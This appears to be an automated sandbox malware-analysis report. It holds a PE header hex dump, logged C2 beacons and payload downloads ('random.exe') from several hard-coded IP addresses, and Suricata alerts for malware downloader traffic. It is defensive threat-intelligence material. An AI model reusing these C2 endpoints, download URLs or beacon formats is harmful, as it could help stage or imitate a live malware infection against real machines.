00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 00 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 00 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 69 78 6e 61 6a 67 6f 6d 00 40 2a 00 00 a0 00 00 00 3e 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 65 79 75 71 71 79 66 00 20 00 00 00 e0 2a 00 00 06 00 00 00 78 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 00 2b 00 00 22 00 00 00 7e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 30 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013509001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013510001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013511001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013512001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KEGCBFCBFBKFHIECAFCFHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 47 43 42 46 43 42 46 42 4b 46 48 49 45 43 41 46 43 46 2d 2d 0d 0a Data Ascii: ------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------KEGCBFCBFBKFHIECAFCFContent-Disposition: form-data; name="build"stok------KEGCBFCBFBKFHIECAFCF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013513001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 33 35 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1013514001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 32 42 44 33 34 30 35 45 36 46 31 33 35 30 38 32 37 30 31 35 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"DC2BD3405E6F1350827015------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"stok------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 39 37 36 42 35 35 46 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB52976B55F82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 80.82.65.70 80.82.65.70

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49859 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49873 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49874 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49879 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49884 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49891 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49899 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49898 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49867 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49905 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49921 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49923 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49924 -> 172.67.139.78:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49930 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49936 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49943 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49951 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49958 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49960 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49967 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49973 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49969 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49979 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49945 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49992 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49994 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50000 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50013 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50041 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50050 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50065 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50074 -> 104.21.48.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50079 -> 104.21.48.1:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F4E0C0 recv,recv,recv,recv,

0_2_00F4E0C0

Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /add?substr=mixtwo&s=three&sub=emp HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/key HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dll/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: 1Host: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /files/download HTTP/1.1Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1Accept-Language: ru-RU,ru;q=0.9,en;q=0.8Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0User-Agent: CHost: 80.82.65.70Connection: Keep-AliveCache-Control: no-cache

